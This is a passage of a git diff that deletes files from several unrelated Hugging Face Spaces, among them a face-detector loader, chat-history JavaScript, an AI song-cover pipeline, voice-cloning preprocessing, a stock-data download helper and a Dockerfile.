-    model.detector.load_state_dict(load_net, strict=True)
-    model.detector.eval()
-    model.detector = model.detector.to(device).float()
-
-    for m in model.detector.modules():
-        if type(m) in [nn.Hardswish, nn.LeakyReLU, nn.ReLU, nn.ReLU6, nn.SiLU]:
-            m.inplace = True  # pytorch 1.7.0 compatibility
-        elif isinstance(m, Conv):
-            m._non_persistent_buffers_set = set()  # pytorch 1.6.0 compatibility
-
-    return model
-
-
-# Download from Google Drive
-# def init_yolov5face_model(model_name, device='cuda'):
-#     if model_name == 'YOLOv5l':
-#         model = YoloDetector(config_name='facelib/detection/yolov5face/models/yolov5l.yaml', device=device)
-#         f_id = {'yolov5l-face.pth': '131578zMA6B2x8VQHyHfa6GEPtulMCNzV'}
-#     elif model_name == 'YOLOv5n':
-#         model = YoloDetector(config_name='facelib/detection/yolov5face/models/yolov5n.yaml', device=device)
-#         f_id = {'yolov5n-face.pth': '1fhcpFvWZqghpGXjYPIne2sw1Fy4yhw6o'}
-#     else:
-#         raise NotImplementedError(f'{model_name} is not implemented.')
-
-#     model_path = os.path.join('weights/facelib', list(f_id.keys())[0])
-#     if not os.path.exists(model_path):
-#         download_pretrained_models(file_ids=f_id, save_path_root='weights/facelib')
-
-#     load_net = torch.load(model_path, map_location=lambda storage, loc: storage)
-#     model.detector.load_state_dict(load_net, strict=True)
-#     model.detector.eval()
-#     model.detector = model.detector.to(device).float()
-
-#     for m in model.detector.modules():
-#         if type(m) in [nn.Hardswish, nn.LeakyReLU, nn.ReLU, nn.ReLU6, nn.SiLU]:
-#             m.inplace = True  # pytorch 1.7.0 compatibility
-#         elif isinstance(m, Conv):
-#             m._non_persistent_buffers_set = set()  # pytorch 1.6.0 compatibility
-
-#     return model
\ No newline at end of file
diff --git a/spaces/JeffJing/ZookChatBot/steamship/data/operations/embedder.py b/spaces/JeffJing/ZookChatBot/steamship/data/operations/embedder.py
deleted file mode 100644
index 15a00817e97672f26a151857909e28fa805ce2a5..0000000000000000000000000000000000000000
--- a/spaces/JeffJing/ZookChatBot/steamship/data/operations/embedder.py
+++ /dev/null
@@ -1,11 +0,0 @@
-from __future__ import annotations
-
-from typing import Dict, List
-
-from steamship.base.request import Request
-
-
-class EmbedRequest(Request):
-    docs: List[str]
-    plugin_instance: str
-    metadata: Dict = None
diff --git a/spaces/JohnSmith9982/ChuanhuChatGPT/web_assets/javascript/chat-history.js b/spaces/JohnSmith9982/ChuanhuChatGPT/web_assets/javascript/chat-history.js
deleted file mode 100644
index 1bc05355025a1a9abf83f51ff94b6815c604a6d6..0000000000000000000000000000000000000000
--- a/spaces/JohnSmith9982/ChuanhuChatGPT/web_assets/javascript/chat-history.js
+++ /dev/null
@@ -1,54 +0,0 @@
-
-var historyLoaded = false;
-var loadhistorytime = 0; // for debugging
-
-
-function saveHistoryHtml() {
-    var historyHtml = document.querySelector('#chuanhu-chatbot>.wrapper>.wrap');
-    if (!historyHtml) return;   // no history, do nothing
-    localStorage.setItem('chatHistory', historyHtml.innerHTML);
-    // console.log("History Saved")
-    historyLoaded = false;
-}
-
-function loadHistoryHtml() {
-    var historyHtml = localStorage.getItem('chatHistory');
-    const tempDiv = document.createElement('div');
-    tempDiv.innerHTML = historyHtml;
-    if (!historyHtml || tempDiv.innerText.trim() === "") {
-        historyLoaded = true;
-        return; // no history, do nothing
-    }
-    userLogged = localStorage.getItem('userLogged');
-    if (userLogged){
-        historyLoaded = true;
-        return; // logged in, do nothing
-    }
-    if (!historyLoaded) {
-        var fakeHistory = document.createElement('div');
-        fakeHistory.classList.add('history-message');
-        fakeHistory.innerHTML = tempDiv.innerHTML;
-        const forViewStyle = document.createElement('style');
-        forViewStyle.innerHTML = '.wrapper>.wrap>.history-message>:last-child::after { content: "' + i18n(forView_i18n) + '"!important; }';
-        document.head.appendChild(forViewStyle);
-        chatbotWrap.insertBefore(fakeHistory, chatbotWrap.firstChild);
-        // var fakeHistory = document.createElement('div');
-        // fakeHistory.classList.add('history-message');
-        // fakeHistory.innerHTML = historyHtml;
-        // chatbotWrap.insertBefore(fakeHistory, chatbotWrap.firstChild);
-        historyLoaded = true;
-        console.log("History Loaded");
-        loadhistorytime += 1; // for debugging
-    } else {
-        historyLoaded = false;
-    }
-}
-
-function clearHistoryHtml() {
-    localStorage.removeItem("chatHistory");
-    historyMessages = chatbotWrap.querySelector('.history-message');
-    if (historyMessages) {
-        chatbotWrap.removeChild(historyMessages);
-        console.log("History Cleared");
-    }
-}
diff --git a/spaces/KOFTRFU204/AICoverGen/src/main.py b/spaces/KOFTRFU204/AICoverGen/src/main.py
deleted file mode 100644
index a0dc7d0d119562c55bb0789aee902aea7b854648..0000000000000000000000000000000000000000
--- a/spaces/KOFTRFU204/AICoverGen/src/main.py
+++ /dev/null
@@ -1,355 +0,0 @@
-import argparse
-import gc
-import hashlib
-import json
-import os
-import shlex
-import subprocess
-from contextlib import suppress
-from urllib.parse import urlparse, parse_qs
-
-import gradio as gr
-import librosa
-import numpy as np
-import soundfile as sf
-import sox
-import yt_dlp
-from pedalboard import Pedalboard, Reverb, Compressor, HighpassFilter
-from pedalboard.io import AudioFile
-from pydub import AudioSegment
-
-from mdx import run_mdx
-from rvc import Config, load_hubert, get_vc, rvc_infer
-
-BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
-
-mdxnet_models_dir = os.path.join(BASE_DIR, 'mdxnet_models')
-rvc_models_dir = os.path.join(BASE_DIR, 'rvc_models')
-output_dir = os.path.join(BASE_DIR, 'song_output')
-
-
-def get_youtube_video_id(url, ignore_playlist=True):
-    """
-    Examples:
-    http://youtu.be/SA2iWivDJiE
-    http://www.youtube.com/watch?v=_oPAwA_Udwc&feature=feedu
-    http://www.youtube.com/embed/SA2iWivDJiE
-    http://www.youtube.com/v/SA2iWivDJiE?version=3&amp;hl=en_US
-    """
-    query = urlparse(url)
-    if query.hostname == 'youtu.be':
-        if query.path[1:] == 'watch':
-            return query.query[2:]
-        return query.path[1:]
-
-    if query.hostname in {'www.youtube.com', 'youtube.com', 'music.youtube.com'}:
-        if not ignore_playlist:
-            # use case: get playlist id not current video in playlist
-            with suppress(KeyError):
-                return parse_qs(query.query)['list'][0]
-        if query.path == '/watch':
-            return parse_qs(query.query)['v'][0]
-        if query.path[:7] == '/watch/':
-            return query.path.split('/')[1]
-        if query.path[:7] == '/embed/':
-            return query.path.split('/')[2]
-        if query.path[:3] == '/v/':
-            return query.path.split('/')[2]
-
-    # returns None for invalid YouTube url
-    return None
-
-
-def yt_download(link):
-    ydl_opts = {
-        'format': 'bestaudio',
-        'outtmpl': '%(title)s',
-        'nocheckcertificate': True,
-        'ignoreerrors': True,
-        'no_warnings': True,
-        'quiet': True,
-        'extractaudio': True,
-        'postprocessors': [{'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3'}],
-    }
-    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
-        result = ydl.extract_info(link, download=True)
-        download_path = ydl.prepare_filename(result, outtmpl='%(title)s.mp3')
-
-    return download_path
-
-
-def raise_exception(error_msg, is_webui):
-    if is_webui:
-        raise gr.Error(error_msg)
-    else:
-        raise Exception(error_msg)
-
-
-def get_rvc_model(voice_model, is_webui):
-    rvc_model_filename, rvc_index_filename = None, None
-    model_dir = os.path.join(rvc_models_dir, voice_model)
-    for file in os.listdir(model_dir):
-        ext = os.path.splitext(file)[1]
-        if ext == '.pth':
-            rvc_model_filename = file
-        if ext == '.index':
-            rvc_index_filename = file
-
-    if rvc_model_filename is None:
-        error_msg = f'No model file exists in {model_dir}.'
-        raise_exception(error_msg, is_webui)
-
-    return os.path.join(model_dir, rvc_model_filename), os.path.join(model_dir, rvc_index_filename) if rvc_index_filename else ''
-
-
-def get_audio_paths(song_dir):
-    orig_song_path = None
-    instrumentals_path = None
-    main_vocals_dereverb_path = None
-    backup_vocals_path = None
-
-    for file in os.listdir(song_dir):
-        if file.endswith('_Instrumental.wav'):
-            instrumentals_path = os.path.join(song_dir, file)
-            orig_song_path = instrumentals_path.replace('_Instrumental', '')
-
-        elif file.endswith('_Vocals_Main_DeReverb.wav'):
-            main_vocals_dereverb_path = os.path.join(song_dir, file)
-
-        elif file.endswith('_Vocals_Backup.wav'):
-            backup_vocals_path = os.path.join(song_dir, file)
-
-    return orig_song_path, instrumentals_path, main_vocals_dereverb_path, backup_vocals_path
-
-
-def convert_to_stereo(audio_path):
-    wave, sr = librosa.load(audio_path, mono=False, sr=44100)
-
-    # check if mono
-    if type(wave[0]) != np.ndarray:
-        stereo_path = f'{os.path.splitext(audio_path)[0]}_stereo.wav'
-        command = shlex.split(f'ffmpeg -y -loglevel error -i "{audio_path}" -ac 2 -f wav "{stereo_path}"')
-        subprocess.run(command)
-        return stereo_path
-    else:
-        return audio_path
-
-
-def pitch_shift(audio_path, pitch_change):
-    output_path = f'{os.path.splitext(audio_path)[0]}_p{pitch_change}.wav'
-    if not os.path.exists(output_path):
-        y, sr = sf.read(audio_path)
-        tfm = sox.Transformer()
-        tfm.pitch(pitch_change)
-        y_shifted = tfm.build_array(input_array=y, sample_rate_in=sr)
-        sf.write(output_path, y_shifted, sr)
-
-    return output_path
-
-
-def get_hash(filepath):
-    with open(filepath, 'rb') as f:
-        file_hash = hashlib.blake2b()
-        while chunk := f.read(8192):
-            file_hash.update(chunk)
-
-    return file_hash.hexdigest()[:11]
-
-
-def display_progress(message, percent, is_webui, progress=None):
-    if is_webui:
-        progress(percent, desc=message)
-    else:
-        print(message)
-
-
-def preprocess_song(song_input, mdx_model_params, song_id, is_webui, input_type, progress=None):
-    keep_orig = False
-    if input_type == 'yt':
-        display_progress('[~] Downloading song...', 0, is_webui, progress)
-        song_link = song_input.split('&')[0]
-        orig_song_path = yt_download(song_link)
-    elif input_type == 'local':
-        orig_song_path = song_input
-        keep_orig = True
-    else:
-        orig_song_path = None
-
-    song_output_dir = os.path.join(output_dir, song_id)
-    orig_song_path = convert_to_stereo(orig_song_path)
-
-    display_progress('[~] Separating Vocals from Instrumental...', 0.1, is_webui, progress)
-    vocals_path, instrumentals_path = run_mdx(mdx_model_params, song_output_dir, os.path.join(mdxnet_models_dir, 'UVR-MDX-NET-Voc_FT.onnx'), orig_song_path, denoise=True, keep_orig=keep_orig)
-
-    display_progress('[~] Separating Main Vocals from Backup Vocals...', 0.2, is_webui, progress)
-    backup_vocals_path, main_vocals_path = run_mdx(mdx_model_params, song_output_dir, os.path.join(mdxnet_models_dir, 'UVR_MDXNET_KARA_2.onnx'), vocals_path, suffix='Backup', invert_suffix='Main', denoise=True)
-
-    display_progress('[~] Applying DeReverb to Vocals...', 0.3, is_webui, progress)
-    _, main_vocals_dereverb_path = run_mdx(mdx_model_params, song_output_dir, os.path.join(mdxnet_models_dir, 'Reverb_HQ_By_FoxJoy.onnx'), main_vocals_path, invert_suffix='DeReverb', exclude_main=True, denoise=True)
-
-    return orig_song_path, vocals_path, instrumentals_path, main_vocals_path, backup_vocals_path, main_vocals_dereverb_path
-
-
-def voice_change(voice_model, vocals_path, output_path, pitch_change, f0_method, index_rate, filter_radius, rms_mix_rate, protect, crepe_hop_length, is_webui):
-    rvc_model_path, rvc_index_path = get_rvc_model(voice_model, is_webui)
-    device = 'cpu'
-    config = Config(device, False)
-    hubert_model = load_hubert(device, config.is_half, os.path.join(rvc_models_dir, 'hubert_base.pt'))
-    cpt, version, net_g, tgt_sr, vc = get_vc(device, False, config, rvc_model_path)
-
-    # convert main vocals
-    rvc_infer(rvc_index_path, index_rate, vocals_path, output_path, pitch_change, f0_method, cpt, version, net_g, filter_radius, tgt_sr, rms_mix_rate, protect, crepe_hop_length, vc, hubert_model)
-    del hubert_model, cpt
-    gc.collect()
-
-
-def add_audio_effects(audio_path, reverb_rm_size, reverb_wet, reverb_dry, reverb_damping):
-    output_path = f'{os.path.splitext(audio_path)[0]}_mixed.wav'
-
-    # Initialize audio effects plugins
-    board = Pedalboard(
-        [
-            HighpassFilter(),
-            Compressor(ratio=4, threshold_db=-15),
-            Reverb(room_size=reverb_rm_size, dry_level=reverb_dry, wet_level=reverb_wet, damping=reverb_damping)
-         ]
-    )
-
-    with AudioFile(audio_path) as f:
-        with AudioFile(output_path, 'w', f.samplerate, f.num_channels) as o:
-            # Read one second of audio at a time, until the file is empty:
-            while f.tell() < f.frames:
-                chunk = f.read(int(f.samplerate))
-                effected = board(chunk, f.samplerate, reset=False)
-                o.write(effected)
-
-    return output_path
-
-
-def combine_audio(audio_paths, output_path, main_gain, backup_gain, inst_gain, output_format):
-    main_vocal_audio = AudioSegment.from_wav(audio_paths[0]) - 4 + main_gain
-    backup_vocal_audio = AudioSegment.from_wav(audio_paths[1]) - 6 + backup_gain
-    instrumental_audio = AudioSegment.from_wav(audio_paths[2]) - 7 + inst_gain
-    main_vocal_audio.overlay(backup_vocal_audio).overlay(instrumental_audio).export(output_path, format=output_format)
-
-
-def song_cover_pipeline(song_input, voice_model, pitch_change, keep_files,
-                        is_webui=0, main_gain=0, backup_gain=0, inst_gain=0, index_rate=0.5, filter_radius=3,
-                        rms_mix_rate=0.25, f0_method='rmvpe', crepe_hop_length=128, protect=0.33, pitch_change_all=0,
-                        reverb_rm_size=0.15, reverb_wet=0.2, reverb_dry=0.8, reverb_damping=0.7, output_format='mp3',
-                        progress=gr.Progress()):
-    try:
-        if not song_input or not voice_model:
-            raise_exception('Ensure that the song input field and voice model field is filled.', is_webui)
-
-        display_progress('[~] Starting AI Cover Generation Pipeline...', 0, is_webui, progress)
-
-        with open(os.path.join(mdxnet_models_dir, 'model_data.json')) as infile:
-            mdx_model_params = json.load(infile)
-
-        # if youtube url
-        if urlparse(song_input).scheme == 'https':
-            input_type = 'yt'
-            song_id = get_youtube_video_id(song_input)
-            if song_id is None:
-                error_msg = 'Invalid YouTube url.'
-                raise_exception(error_msg, is_webui)
-
-        # local audio file
-        else:
-            input_type = 'local'
-            song_input = song_input.strip('\"')
-            if os.path.exists(song_input):
-                song_id = get_hash(song_input)
-            else:
-                error_msg = f'{song_input} does not exist.'
-                song_id = None
-                raise_exception(error_msg, is_webui)
-
-        song_dir = os.path.join(output_dir, song_id)
-
-        if not os.path.exists(song_dir):
-            os.makedirs(song_dir)
-            orig_song_path, vocals_path, instrumentals_path, main_vocals_path, backup_vocals_path, main_vocals_dereverb_path = preprocess_song(song_input, mdx_model_params, song_id, is_webui, input_type, progress)
-
-        else:
-            vocals_path, main_vocals_path = None, None
-            paths = get_audio_paths(song_dir)
-
-            # if any of the audio files aren't available or keep intermediate files, rerun preprocess
-            if any(path is None for path in paths) or keep_files:
-                orig_song_path, vocals_path, instrumentals_path, main_vocals_path, backup_vocals_path, main_vocals_dereverb_path = preprocess_song(song_input, mdx_model_params, song_id, is_webui, input_type, progress)
-            else:
-                orig_song_path, instrumentals_path, main_vocals_dereverb_path, backup_vocals_path = paths
-
-        pitch_change = pitch_change * 12 + pitch_change_all
-        ai_vocals_path = os.path.join(song_dir, f'{os.path.splitext(os.path.basename(orig_song_path))[0]}_{voice_model}_p{pitch_change}_i{index_rate}_fr{filter_radius}_rms{rms_mix_rate}_pro{protect}_{f0_method}{"" if f0_method != "mangio-crepe" else f"_{crepe_hop_length}"}.wav')
-        ai_cover_path = os.path.join(song_dir, f'{os.path.splitext(os.path.basename(orig_song_path))[0]} ({voice_model} Ver).{output_format}')
-
-        if not os.path.exists(ai_vocals_path):
-            display_progress('[~] Converting voice using RVC...', 0.5, is_webui, progress)
-            voice_change(voice_model, main_vocals_dereverb_path, ai_vocals_path, pitch_change, f0_method, index_rate, filter_radius, rms_mix_rate, protect, crepe_hop_length, is_webui)
-
-        display_progress('[~] Applying audio effects to Vocals...', 0.8, is_webui, progress)
-        ai_vocals_mixed_path = add_audio_effects(ai_vocals_path, reverb_rm_size, reverb_wet, reverb_dry, reverb_damping)
-
-        if pitch_change_all != 0:
-            display_progress('[~] Applying overall pitch change', 0.85, is_webui, progress)
-            instrumentals_path = pitch_shift(instrumentals_path, pitch_change_all)
-            backup_vocals_path = pitch_shift(backup_vocals_path, pitch_change_all)
-
-        display_progress('[~] Combining AI Vocals and Instrumentals...', 0.9, is_webui, progress)
-        combine_audio([ai_vocals_mixed_path, backup_vocals_path, instrumentals_path], ai_cover_path, main_gain, backup_gain, inst_gain, output_format)
-
-        if not keep_files:
-            display_progress('[~] Removing intermediate audio files...', 0.95, is_webui, progress)
-            intermediate_files = [vocals_path, main_vocals_path, ai_vocals_mixed_path]
-            if pitch_change_all != 0:
-                intermediate_files += [instrumentals_path, backup_vocals_path]
-            for file in intermediate_files:
-                if file and os.path.exists(file):
-                    os.remove(file)
-
-        return ai_cover_path
-
-    except Exception as e:
-        raise_exception(str(e), is_webui)
-
-
-if __name__ == '__main__':
-    parser = argparse.ArgumentParser(description='Generate a AI cover song in the song_output/id directory.', add_help=True)
-    parser.add_argument('-i', '--song-input', type=str, required=True, help='Link to a YouTube video or the filepath to a local mp3/wav file to create an AI cover of')
-    parser.add_argument('-dir', '--rvc-dirname', type=str, required=True, help='Name of the folder in the rvc_models directory containing the RVC model file and optional index file to use')
-    parser.add_argument('-p', '--pitch-change', type=int, required=True, help='Change the pitch of AI Vocals only. Generally, use 1 for male to female and -1 for vice-versa. (Octaves)')
-    parser.add_argument('-k', '--keep-files', action=argparse.BooleanOptionalAction, help='Whether to keep all intermediate audio files generated in the song_output/id directory, e.g. Isolated Vocals/Instrumentals')
-    parser.add_argument('-ir', '--index-rate', type=float, default=0.5, help='A decimal number e.g. 0.5, used to reduce/resolve the timbre leakage problem. If set to 1, more biased towards the timbre quality of the training dataset')
-    parser.add_argument('-fr', '--filter-radius', type=int, default=3, help='A number between 0 and 7. If >=3: apply median filtering to the harvested pitch results. The value represents the filter radius and can reduce breathiness.')
-    parser.add_argument('-rms', '--rms-mix-rate', type=float, default=0.25, help="A decimal number e.g. 0.25. Control how much to use the original vocal's loudness (0) or a fixed loudness (1).")
-    parser.add_argument('-palgo', '--pitch-detection-algo', type=str, default='rmvpe', help='Best option is rmvpe (clarity in vocals), then mangio-crepe (smoother vocals).')
-    parser.add_argument('-hop', '--crepe-hop-length', type=int, default=128, help='If pitch detection algo is mangio-crepe, controls how often it checks for pitch changes in milliseconds. The higher the value, the faster the conversion and less risk of voice cracks, but there is less pitch accuracy. Recommended: 128.')
-    parser.add_argument('-pro', '--protect', type=float, default=0.33, help='A decimal number e.g. 0.33. Protect voiceless consonants and breath sounds to prevent artifacts such as tearing in electronic music. Set to 0.5 to disable. Decrease the value to increase protection, but it may reduce indexing accuracy.')
-    parser.add_argument('-mv', '--main-vol', type=int, default=0, help='Volume change for AI main vocals in decibels. Use -3 to decrease by 3 decibels and 3 to increase by 3 decibels')
-    parser.add_argument('-bv', '--backup-vol', type=int, default=0, help='Volume change for backup vocals in decibels')
-    parser.add_argument('-iv', '--inst-vol', type=int, default=0, help='Volume change for instrumentals in decibels')
-    parser.add_argument('-pall', '--pitch-change-all', type=int, default=0, help='Change the pitch/key of vocals and instrumentals. Changing this slightly reduces sound quality')
-    parser.add_argument('-rsize', '--reverb-size', type=float, default=0.15, help='Reverb room size between 0 and 1')
-    parser.add_argument('-rwet', '--reverb-wetness', type=float, default=0.2, help='Reverb wet level between 0 and 1')
-    parser.add_argument('-rdry', '--reverb-dryness', type=float, default=0.8, help='Reverb dry level between 0 and 1')
-    parser.add_argument('-rdamp', '--reverb-damping', type=float, default=0.7, help='Reverb damping between 0 and 1')
-    parser.add_argument('-oformat', '--output-format', type=str, default='mp3', help='Output format of audio file. mp3 for smaller file size, wav for best quality')
-    args = parser.parse_args()
-
-    rvc_dirname = args.rvc_dirname
-    if not os.path.exists(os.path.join(rvc_models_dir, rvc_dirname)):
-        raise Exception(f'The folder {os.path.join(rvc_models_dir, rvc_dirname)} does not exist.')
-
-    cover_path = song_cover_pipeline(args.song_input, rvc_dirname, args.pitch_change, args.keep_files,
-                                     main_gain=args.main_vol, backup_gain=args.backup_vol, inst_gain=args.inst_vol,
-                                     index_rate=args.index_rate, filter_radius=args.filter_radius,
-                                     rms_mix_rate=args.rms_mix_rate, f0_method=args.pitch_detection_algo,
-                                     crepe_hop_length=args.crepe_hop_length, protect=args.protect,
-                                     pitch_change_all=args.pitch_change_all,
-                                     reverb_rm_size=args.reverb_size, reverb_wet=args.reverb_wetness,
-                                     reverb_dry=args.reverb_dryness, reverb_damping=args.reverb_damping,
-                                     output_format=args.output_format)
-    print(f'[+] Cover generated at {cover_path}')
diff --git a/spaces/Kevin676/ChatGPT-with-Voice-Cloning-in-Chinese/synthesizer/preprocess.py b/spaces/Kevin676/ChatGPT-with-Voice-Cloning-in-Chinese/synthesizer/preprocess.py
deleted file mode 100644
index dc305e40e217ca6693a8023f49f9bc8ce5d45d57..0000000000000000000000000000000000000000
--- a/spaces/Kevin676/ChatGPT-with-Voice-Cloning-in-Chinese/synthesizer/preprocess.py
+++ /dev/null
@@ -1,120 +0,0 @@
-from multiprocessing.pool import Pool 
-
-from functools import partial
-from itertools import chain
-from pathlib import Path
-from tqdm import tqdm
-import numpy as np
-from encoder import inference as encoder
-from synthesizer.preprocess_speaker import preprocess_speaker_general
-from synthesizer.preprocess_transcript import preprocess_transcript_aishell3, preprocess_transcript_magicdata
-
-data_info = {
-    "aidatatang_200zh": {
-        "subfolders": ["corpus/train"],
-        "trans_filepath": "transcript/aidatatang_200_zh_transcript.txt",
-        "speak_func": preprocess_speaker_general
-    },
-    "magicdata": {
-        "subfolders": ["train"],
-        "trans_filepath": "train/TRANS.txt",
-        "speak_func": preprocess_speaker_general,
-        "transcript_func": preprocess_transcript_magicdata,
-    },
-    "aishell3":{
-        "subfolders": ["train/wav"],
-        "trans_filepath": "train/content.txt",
-        "speak_func": preprocess_speaker_general,
-        "transcript_func": preprocess_transcript_aishell3,
-    },
-    "data_aishell":{
-        "subfolders": ["wav/train"],
-        "trans_filepath": "transcript/aishell_transcript_v0.8.txt",
-        "speak_func": preprocess_speaker_general
-    }
-}
-
-def preprocess_dataset(datasets_root: Path, out_dir: Path, n_processes: int,
-                           skip_existing: bool, hparams, no_alignments: bool,
-                           dataset: str):
-    dataset_info = data_info[dataset]
-    # Gather the input directories
-    dataset_root = datasets_root.joinpath(dataset)
-    input_dirs = [dataset_root.joinpath(subfolder.strip()) for subfolder in dataset_info["subfolders"]]
-    print("\n    ".join(map(str, ["Using data from:"] + input_dirs)))
-    assert all(input_dir.exists() for input_dir in input_dirs)
-    
-    # Create the output directories for each output file type
-    out_dir.joinpath("mels").mkdir(exist_ok=True)
-    out_dir.joinpath("audio").mkdir(exist_ok=True)
-    
-    # Create a metadata file
-    metadata_fpath = out_dir.joinpath("train.txt")
-    metadata_file = metadata_fpath.open("a" if skip_existing else "w", encoding="utf-8")
-
-    # Preprocess the dataset
-    dict_info = {}
-    transcript_dirs = dataset_root.joinpath(dataset_info["trans_filepath"])
-    assert transcript_dirs.exists(), str(transcript_dirs)+" not exist."
-    with open(transcript_dirs, "r", encoding="utf-8") as dict_transcript:
-        # process with specific function for your dataset 
-        if "transcript_func" in dataset_info:
-            dataset_info["transcript_func"](dict_info, dict_transcript)
-        else:
-            for v in dict_transcript:
-                if not v:
-                    continue
-                v = v.strip().replace("\n","").replace("\t"," ").split(" ")
-                dict_info[v[0]] = " ".join(v[1:])
-
-    speaker_dirs = list(chain.from_iterable(input_dir.glob("*") for input_dir in input_dirs))
-    func = partial(dataset_info["speak_func"], out_dir=out_dir, skip_existing=skip_existing, 
-                   hparams=hparams, dict_info=dict_info, no_alignments=no_alignments)
-    job = Pool(n_processes).imap(func, speaker_dirs)
-    for speaker_metadata in tqdm(job, dataset, len(speaker_dirs), unit="speakers"):
-        for metadatum in speaker_metadata:
-            metadata_file.write("|".join(str(x) for x in metadatum) + "\n")
-    metadata_file.close()
-
-    # Verify the contents of the metadata file
-    with metadata_fpath.open("r", encoding="utf-8") as metadata_file:
-        metadata = [line.split("|") for line in metadata_file]
-    mel_frames = sum([int(m[4]) for m in metadata])
-    timesteps = sum([int(m[3]) for m in metadata])
-    sample_rate = hparams.sample_rate
-    hours = (timesteps / sample_rate) / 3600
-    print("The dataset consists of %d utterances, %d mel frames, %d audio timesteps (%.2f hours)." %
-          (len(metadata), mel_frames, timesteps, hours))
-    print("Max input length (text chars): %d" % max(len(m[5]) for m in metadata))
-    print("Max mel frames length: %d" % max(int(m[4]) for m in metadata))
-    print("Max audio timesteps length: %d" % max(int(m[3]) for m in metadata))
-
-def embed_utterance(fpaths, encoder_model_fpath):
-    if not encoder.is_loaded():
-        encoder.load_model(encoder_model_fpath)
-
-    # Compute the speaker embedding of the utterance
-    wav_fpath, embed_fpath = fpaths
-    wav = np.load(wav_fpath)
-    wav = encoder.preprocess_wav(wav)
-    embed = encoder.embed_utterance(wav)
-    np.save(embed_fpath, embed, allow_pickle=False)
-    
- 
-def create_embeddings(synthesizer_root: Path, encoder_model_fpath: Path, n_processes: int):
-    wav_dir = synthesizer_root.joinpath("audio")
-    metadata_fpath = synthesizer_root.joinpath("train.txt")
-    assert wav_dir.exists() and metadata_fpath.exists()
-    embed_dir = synthesizer_root.joinpath("embeds")
-    embed_dir.mkdir(exist_ok=True)
-    
-    # Gather the input wave filepath and the target output embed filepath
-    with metadata_fpath.open("r", encoding="utf-8") as metadata_file:
-        metadata = [line.split("|") for line in metadata_file]
-        fpaths = [(wav_dir.joinpath(m[0]), embed_dir.joinpath(m[2])) for m in metadata]
-        
-    # TODO: improve on the multiprocessing, it's terrible. Disk I/O is the bottleneck here.
-    # Embed the utterances in separate threads
-    func = partial(embed_utterance, encoder_model_fpath=encoder_model_fpath)
-    job = Pool(n_processes).imap(func, fpaths)
-    list(tqdm(job, "Embedding", len(fpaths), unit="utterances"))
diff --git a/spaces/KoboldAI/KoboldAI-Lite/README.md b/spaces/KoboldAI/KoboldAI-Lite/README.md
deleted file mode 100644
index 143678ba66ba110db73bf93d4308fb4ae1fb15cc..0000000000000000000000000000000000000000
--- a/spaces/KoboldAI/KoboldAI-Lite/README.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: KoboldAI Lite
-emoji: 👁
-colorFrom: indigo
-colorTo: green
-sdk: static
-pinned: true
-license: agpl-3.0
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/Lianjd/stock_dashboard/file.py b/spaces/Lianjd/stock_dashboard/file.py
deleted file mode 100644
index e864644bbd7f5cc58905b2d7bd2e373bcf6b9f95..0000000000000000000000000000000000000000
--- a/spaces/Lianjd/stock_dashboard/file.py
+++ /dev/null
@@ -1,20 +0,0 @@
-import pandas as pd
-import streamlit as st
-import base64
-
-
-
-
-# function to your download dataframes to a csv file
-def download_link(object_to_download, download_filename, download_link_text):
-
-    if isinstance(object_to_download,pd.DataFrame):
-        object_to_download = object_to_download.to_csv(index=False)
-
-    b64 = base64.b64encode(object_to_download.encode()).decode()
-    return f'<a href="data:file/txt;base64,{b64}" download="{download_filename}">{download_link_text}</a>'
-
-
-def download_interface(stock_data,stock_ticker):
-    tmp_download_link = download_link(stock_data, stock_ticker + '.csv', 'Click here to download the Stock data')
-    st.markdown(tmp_download_link, unsafe_allow_html=True)
diff --git a/spaces/LightChen2333/OpenSLU/model/encoder/pretrained_encoder.py b/spaces/LightChen2333/OpenSLU/model/encoder/pretrained_encoder.py
deleted file mode 100644
index 3003ce20658050f6471ae9c828c1c69c3bf6abca..0000000000000000000000000000000000000000
--- a/spaces/LightChen2333/OpenSLU/model/encoder/pretrained_encoder.py
+++ /dev/null
@@ -1,44 +0,0 @@
-'''
-Author: Qiguang Chen
-Date: 2023-01-11 10:39:26
-LastEditors: Qiguang Chen
-LastEditTime: 2023-02-18 17:38:30
-Description: pretrained encoder model
-
-'''
-from transformers import AutoModel, AutoConfig
-from common import utils
-
-from common.utils import InputData, HiddenData
-from model.encoder.base_encoder import BaseEncoder
-
-
-class PretrainedEncoder(BaseEncoder):
-    def __init__(self, **config):
-        """ init pretrained encoder
-        
-        Args:
-            config (dict):
-                encoder_name (str): pretrained model name in hugging face.
-        """
-        super().__init__(**config)
-        if self.config.get("_is_check_point_"):
-            self.encoder = utils.instantiate(config["pretrained_model"], target="_pretrained_model_target_")
-            # print(self.encoder)
-        else:
-            self.encoder = AutoModel.from_pretrained(config["encoder_name"])
-
-    def forward(self, inputs: InputData):
-        output = self.encoder(**inputs.get_inputs())
-        hidden = HiddenData(None, output.last_hidden_state)
-        if self.config.get("return_with_input"):
-            hidden.add_input(inputs)
-        if self.config.get("return_sentence_level_hidden"):
-            padding_side = self.config.get("padding_side")
-            if hasattr(output, "pooler_output"):
-                hidden.update_intent_hidden_state(output.pooler_output)
-            elif padding_side is not None and padding_side == "left":
-                hidden.update_intent_hidden_state(output.last_hidden_state[:, -1])
-            else:
-                hidden.update_intent_hidden_state(output.last_hidden_state[:, 0])
-        return hidden
diff --git a/spaces/Lolicringw6969/Lol/Dockerfile b/spaces/Lolicringw6969/Lol/Dockerfile
deleted file mode 100644
index 6c01c09373883afcb4ea34ae2d316cd596e1737b..0000000000000000000000000000000000000000
--- a/spaces/Lolicringw6969/Lol/Dockerfile
+++ /dev/null
@@ -1,21 +0,0 @@
-FROM node:18-bullseye-slim
-
-RUN apt-get update && \
-
-apt-get install -y git
-
-RUN git clone https://gitgud.io/khanon/oai-reverse-proxy.git /app
-
-WORKDIR /app
-
-RUN npm install
-
-COPY Dockerfile greeting.md* .env* ./
-
-RUN npm run build
-
-EXPOSE 7860
-
-ENV NODE_ENV=production
-
-CMD [ "npm", "start" ]
\ No newline at end of file
diff --git a/spaces/Mahiruoshi/MyGO_VIts-bert/webui.py b/spaces/Mahiruoshi/MyGO_VIts-bert/webui.py
deleted file mode 100644
